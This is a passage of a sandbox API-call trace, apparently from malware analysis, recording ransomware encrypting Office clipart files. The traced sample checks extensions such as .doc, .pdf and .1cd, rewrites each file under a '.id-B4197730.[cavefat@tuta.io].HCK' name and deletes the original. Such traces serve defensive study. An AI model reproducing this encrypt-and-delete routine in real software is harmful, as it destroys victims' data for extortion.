[0157.714] lstrlenW (lpString=".jpg") returned 4 [0157.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.714] lstrlenW (lpString=".doc") returned 4 [0157.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString=".docx") returned 5 [0157.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.714] lstrlenW (lpString=".pdf") returned 4 [0157.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString=".xls") returned 4 [0157.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.714] lstrlenW (lpString=".xlsx") returned 5 [0157.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.714] lstrlenW (lpString=".ppt") returned 4 [0157.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.714] lstrlenW (lpString=".zip") returned 4 [0157.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.714] lstrlenW (lpString=".rar") returned 4 [0157.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.714] lstrlenW (lpString=".bz2") returned 4 [0157.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.715] lstrlenW (lpString=".7z") returned 3 [0157.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.715] lstrlenW (lpString=".dbf") returned 4 [0157.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.715] lstrlenW (lpString=".1cd") returned 4 [0157.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0157.715] lstrlenW (lpString=".jpg") returned 4 [0157.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.715] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.715] lstrlenW (lpString="DD01139_.WMF") returned 12 [0157.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.715] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3632) returned 1 [0157.715] CloseHandle (hObject=0x2ec) returned 1 [0157.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0157.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.715] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.716] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.716] GetLastError () returned 0x0 [0157.716] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe30, lpOverlapped=0x0) returned 1 [0157.723] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe40, lpOverlapped=0x0) returned 1 [0157.724] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.724] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.724] SetEndOfFile (hFile=0x38c) returned 1 [0157.724] CloseHandle (hObject=0x38c) returned 1 [0157.725] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.725] SetEndOfFile (hFile=0x2ec) returned 1 [0157.726] CloseHandle (hObject=0x2ec) returned 1 [0157.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0157.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.726] lstrlenW (lpString=".doc") returned 4 [0157.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.726] lstrlenW (lpString=".docx") returned 5 [0157.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.726] lstrlenW (lpString=".pdf") returned 4 [0157.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".xls") returned 4 [0157.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.727] lstrlenW (lpString=".xlsx") returned 5 [0157.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.727] lstrlenW (lpString=".ppt") returned 4 [0157.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".zip") returned 4 [0157.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.727] lstrlenW (lpString=".rar") returned 4 [0157.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".bz2") returned 4 [0157.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".7z") returned 3 [0157.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".dbf") returned 4 [0157.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".1cd") returned 4 [0157.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".jpg") returned 4 [0157.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".doc") returned 4 [0157.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".docx") returned 5 [0157.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.727] lstrlenW (lpString=".pdf") returned 4 [0157.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".xls") returned 4 [0157.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.727] lstrlenW (lpString=".xlsx") returned 5 [0157.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.727] lstrlenW (lpString=".ppt") returned 4 [0157.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".zip") returned 4 [0157.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.727] lstrlenW (lpString=".rar") returned 4 [0157.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".bz2") returned 4 [0157.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.727] lstrlenW (lpString=".7z") returned 3 [0157.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.727] lstrlenW (lpString=".dbf") returned 4 [0157.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.728] lstrlenW (lpString=".1cd") returned 4 [0157.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0157.728] lstrlenW (lpString=".jpg") returned 4 [0157.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.728] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.728] lstrlenW (lpString="DD01143_.WMF") returned 12 [0157.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.728] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2140) returned 1 [0157.728] CloseHandle (hObject=0x2ec) returned 1 [0157.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0157.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.728] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.728] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.729] GetLastError () returned 0x0 [0157.729] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x85c, lpOverlapped=0x0) returned 1 [0157.737] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x860, lpOverlapped=0x0) returned 1 [0157.738] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.738] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.738] SetEndOfFile (hFile=0x38c) returned 1 [0157.738] CloseHandle (hObject=0x38c) returned 1 [0157.739] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.739] SetEndOfFile (hFile=0x2ec) returned 1 [0157.740] CloseHandle (hObject=0x2ec) returned 1 [0157.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0157.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".doc") returned 4 [0157.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".docx") returned 5 [0157.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.741] lstrlenW (lpString=".pdf") returned 4 [0157.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".xls") returned 4 [0157.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.741] lstrlenW (lpString=".xlsx") returned 5 [0157.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.741] lstrlenW (lpString=".ppt") returned 4 [0157.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".zip") returned 4 [0157.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.741] lstrlenW (lpString=".rar") returned 4 [0157.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".bz2") returned 4 [0157.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".7z") returned 3 [0157.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".dbf") returned 4 [0157.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".1cd") returned 4 [0157.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".jpg") returned 4 [0157.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".doc") returned 4 [0157.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".docx") returned 5 [0157.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.741] lstrlenW (lpString=".pdf") returned 4 [0157.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".xls") returned 4 [0157.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.741] lstrlenW (lpString=".xlsx") returned 5 [0157.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.741] lstrlenW (lpString=".ppt") returned 4 [0157.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.741] lstrlenW (lpString=".zip") returned 4 [0157.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.741] lstrlenW (lpString=".rar") returned 4 [0157.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.741] lstrlenW (lpString=".bz2") returned 4 [0157.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.742] lstrlenW (lpString=".7z") returned 3 [0157.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.742] lstrlenW (lpString=".dbf") returned 4 [0157.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.742] lstrlenW (lpString=".1cd") returned 4 [0157.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0157.742] lstrlenW (lpString=".jpg") returned 4 [0157.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.742] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.742] lstrlenW (lpString="DD01146_.WMF") returned 12 [0157.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.743] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2796) returned 1 [0157.743] CloseHandle (hObject=0x38c) returned 1 [0157.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0157.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.744] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.744] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0157.745] GetLastError () returned 0x0 [0157.745] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xaec, lpOverlapped=0x0) returned 1 [0157.753] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0157.753] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.753] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.753] SetEndOfFile (hFile=0x300) returned 1 [0157.754] CloseHandle (hObject=0x300) returned 1 [0157.754] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.754] SetEndOfFile (hFile=0x36c) returned 1 [0157.755] CloseHandle (hObject=0x36c) returned 1 [0157.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0157.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.755] lstrlenW (lpString=".doc") returned 4 [0157.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".docx") returned 5 [0157.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.756] lstrlenW (lpString=".pdf") returned 4 [0157.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".xls") returned 4 [0157.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.756] lstrlenW (lpString=".xlsx") returned 5 [0157.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.756] lstrlenW (lpString=".ppt") returned 4 [0157.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString=".zip") returned 4 [0157.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.756] lstrlenW (lpString=".rar") returned 4 [0157.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".bz2") returned 4 [0157.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".7z") returned 3 [0157.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString=".dbf") returned 4 [0157.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString=".1cd") returned 4 [0157.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString=".jpg") returned 4 [0157.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString="C:\\Program 